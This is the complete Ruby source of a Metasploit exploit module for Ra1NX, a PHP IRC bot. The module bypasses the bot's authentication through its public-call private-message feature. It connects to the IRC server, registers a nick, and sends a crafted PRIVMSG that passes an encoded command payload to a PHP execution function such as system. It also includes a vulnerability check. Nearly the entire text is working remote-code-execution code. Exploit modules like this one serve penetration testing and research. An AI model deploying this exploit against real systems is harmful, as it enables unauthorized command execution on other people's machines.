Ra1NX PHP Bot PubCall Authentication Bypass Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ra1NX PHP Bot PubCall Authentication Bypass Remote Code Execution',
        'Description' => %q{
          This module allows remote command execution on the PHP IRC bot Ra1NX by
          using the public call feature in private message to covertly bypass the
          authentication system.
        },
        'Author' => [
          'bwall <bwall[at]openbwall.com>' # Ra1NX analysis and Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['OSVDB', '91663'],
          ['URL', 'https://defense.ballastsecurity.net/wiki/index.php/Ra1NX_bot'],
          ['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=69401ac90262f3855c23cd143d7d2ae0'],
          ['URL', 'http://ddecode.com/phpdecoder/?results=8c6ba611ea2a504da928c6e176a6537b']
        ],
        'Arch' => ARCH_CMD,
        'Payload' => {
          'Space' => 344,
          'BadChars' => '',
          'DisableNops' => true,
          'Compat' =>
                        {
                          'PayloadType' => 'cmd'
                        }
        },
        'Targets' => [
          ['Ra1NX / Unix', { 'Platform' => 'unix' } ],
          ['Ra1NX / Windows', { 'Platform' => 'win' } ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2013-03-24',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(6667),
        OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),
        OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),
        OptString.new('RNICK', [true, 'Nickname of Target IRC Bot', 'jhl1']),
        OptString.new('PHP_EXEC', [true, 'Function used to call payload', 'system'])
      ]
    )
  end

  def post_auth?
    true
  end

  def connect_irc
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Connecting to IRC server...")
    connect

    data = ''
    begin
      read_data = sock.get_once(-1, 1)
      until read_data.nil?
        data << read_data
        read_data = sock.get_once(-1, 1)
      end
    rescue EOFError
    end

    if data and data =~ /020.*wait/
      print_good("#{Rex::Socket.to_authority(rhost, rport)} - Connection successful, giving 3 seconds to IRC server to process our connection...")
      select(nil, nil, nil, 3)
    end
  end

  def check
    connect_irc

    response = register(sock)
    if response =~ /463/ or response =~ /464/
      vprint_error("#{Rex::Socket.to_authority(rhost, rport)} - Connection to the IRC Server not allowed")
      return Exploit::CheckCode::Unknown('Connection to the IRC server not allowed')
    end

    confirm_string = rand_text_alpha(8)
    response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n")

    quit(sock)
    disconnect

    if response =~ /#{confirm_string}/
      return Exploit::CheckCode::Vulnerable('Bot echoed back confirmation string via PRIVMSG')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end

  def send_msg(sock, data)
    sock.put(data)
    data = ''
    begin
      read_data = sock.get_once(-1, 1)
      until read_data.nil?
        data << read_data
        read_data = sock.get_once(-1, 1)
      end
    rescue EOFError
    end
    data
  end

  def register(sock)
    msg = ''

    if datastore['IRC_PASSWORD'] and !datastore['IRC_PASSWORD'].empty?
      msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"
    end

    if datastore['NICK'].length > 9
      nick = rand_text_alpha(9)
      print_error("The nick is longer than 9 characters, using #{nick}")
    else
      nick = datastore['NICK']
    end

    msg << "NICK #{nick}\r\n"
    msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"

    response = send_msg(sock, msg)
    return response
  end

  def ra1nx_command(sock)
    encoded = payload.encoded
    command_msg = "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @#{datastore['PHP_EXEC']} #{encoded}\r\n"
    response = send_msg(sock, command_msg)
    return response
  end

  def quit(sock)
    quit_msg = "QUIT :bye bye\r\n"
    sock.put(quit_msg)
  end

  def exploit
    connect_irc

    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Registering with the IRC Server...")
    response = register(sock)
    if response =~ /463/ or response =~ /464/
      print_error("#{Rex::Socket.to_authority(rhost, rport)} - Connection to the IRC Server not allowed")
      return
    end

    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Exploiting the Ra1NX bot...")
    ra1nx_command(sock)

    quit(sock)
    disconnect
  end
end